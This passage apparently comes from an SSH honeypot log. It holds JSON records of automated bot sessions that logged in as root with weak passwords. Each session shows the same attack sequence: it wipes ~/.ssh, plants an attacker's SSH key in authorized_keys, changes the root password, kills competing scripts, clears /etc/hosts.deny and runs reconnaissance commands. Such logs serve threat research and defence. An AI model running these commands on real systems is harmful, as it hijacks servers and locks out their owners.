== 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:09:17.259142+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Ww","method":"password","accepted":true,"tier":"other"}]} {"id":"ba97293b-35e3-4029-98f9-b3d8dc862f73","name":"mossy-whispering-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:07:30.593003+00:00","ended_at":"2026-08-27T12:07:31.628401+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:07:08.220424+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:07:08.484665+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:07:12.256188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:07:13.997955+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:07:14.269843+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zTCtD8i76eSf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:07:14.529719+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:07:14.794187+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:07:16.393417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:07:16.660219+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:07:17.877297+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:07:18.144645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:07:19.037693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:07:19.305243+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:07:19.931843+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:07:20.198139+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:07:21.092398+00:00","kind":"output","latency_ms":null,"data":" 12:07:21 up 7 days, 8:57, 0 user, load average: 0.18, 0.2, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:07:21.359465+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:07:22.019788+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:07:22.286255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:07:22.969430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:07:23.235693+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:07:23.773768+00:00","kind":"output","latency_ms":null,"data":"top - 12:07:23 up 7 days, 8:57, 0 user, load average: 0.18, 0.2, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:07:24.039808+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:07:26.220425+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:07:26.486443+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:07:27.352587+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:07:27.619485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:07:29.053628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:07:29.320038+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:07:30.326749+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:07:30.593806+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:07:31.550745+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"p@ssw0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"897bc932-7e0f-4cb1-bcd7-a13c7e8206ab","name":"cobalt-jaunty-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":48700,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":290,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:06:31.484188+00:00","ended_at":"2026-08-27T12:06:33.452428+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2293,"events":[{"seq":1,"at":"2026-08-27T12:06:14.463510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:06:14.754381+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:06:18.587436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:06:19.009630+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:06:19.300389+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G7W2S2LwNtKm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:06:19.592469+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:06:19.881271+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:06:20.521548+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:06:20.811846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:06:22.043358+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:06:22.336574+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:06:23.680479+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:06:23.973473+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:06:24.804144+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:06:25.093236+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:06:25.500532+00:00","kind":"output","latency_ms":null,"data":" 12:06:25 up 7 days, 8:56, 0 user, load average: 0.06, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:06:25.791305+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:06:26.656805+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:06:26.947031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:06:27.305480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:06:27.596746+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:06:27.958122+00:00","kind":"output","latency_ms":null,"data":"top - 12:06:27 up 7 days, 8:56, 0 user, load average: 0.06, 0.05, 0.05\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:06:28.250925+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:06:28.553901+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:06:28.845198+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:06:29.143831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:06:29.435226+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:06:29.847710+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:06:30.139643+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:06:31.194898+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:06:31.485141+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:06:33.372455+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"edbe3741-fa43-44ee-afff-dd246675910e","name":"idle-mossy-gazelle","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":50798,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:04:22.495934+00:00","ended_at":"2026-08-27T12:04:24.262453+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-27T12:04:03.725797+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:04:04.022478+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:04:07.653751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:04:08.003855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:04:08.304126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XRFGNUOJC1iB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:04:08.601706+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:04:08.899255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:04:09.696068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:04:09.999097+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:04:11.216174+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:04:11.517221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:04:12.793633+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:04:13.093131+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:04:13.660686+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:04:13.960824+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:04:14.756317+00:00","kind":"output","latency_ms":null,"data":" 12:04:14 up 7 days, 8:54, 0 user, load average: 0.11, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:04:15.056335+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:04:15.918813+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:04:16.218720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:04:17.005524+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:04:17.305755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:04:17.967010+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:17 up 7 days, 8:54, 0 user, load average: 0.11, 0.12, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:04:18.264677+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:04:19.143231+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:04:19.442936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:04:19.825137+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:04:20.123366+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:04:20.701654+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:04:21.002630+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:04:22.194195+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:04:22.496757+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:04:24.176210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396","name":"cosmic-subtle-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":54752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:00:01.262277+00:00","ended_at":"2026-08-27T12:00:02.719823+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:59:34.994672+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:35.323660+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:39.101704+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:40.102798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:40.432035+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IxzefPIQgiwK\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:59:40.758241+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:59:41.084394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:41.886529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:59:42.209856+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:59:42.537708+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:59:44.105166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:59:44.434506+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:59:46.198547+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:59:46.530042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:59:47.483000+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:59:47.811637+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:59:49.656173+00:00","kind":"output","latency_ms":null,"data":" 11:59:49 up 7 days, 8:49, 0 user, load average: 0.32, 0.33, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:59:49.982892+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:59:52.117718+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:59:52.446010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:59:53.656550+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:59:53.984661+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:59:55.164680+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:55 up 7 days, 8:50, 0 user, load average: 0.32, 0.33, 0.37\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:59:55.493235+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:59:57.196516+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:59:57.524837+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:59:58.342025+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:59:58.669897+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:59:59.144699+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:59:59.471725+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:00:00.935477+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:00:01.262917+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:00:02.621646+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"11223311","method":"password","accepted":true,"tier":"other"}]} {"id":"d53cdf74-acd9-4bbd-83fb-b23108eed00a","name":"craggy-patient-wolverine","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55448,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:58:00.026031+00:00","ended_at":"2026-08-27T11:58:01.921668+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:57:41.654768+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:41.946465+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:45.677235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:46.425007+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:46.719154+00:00","kind":"input","latency_ms":null,"data":"echo 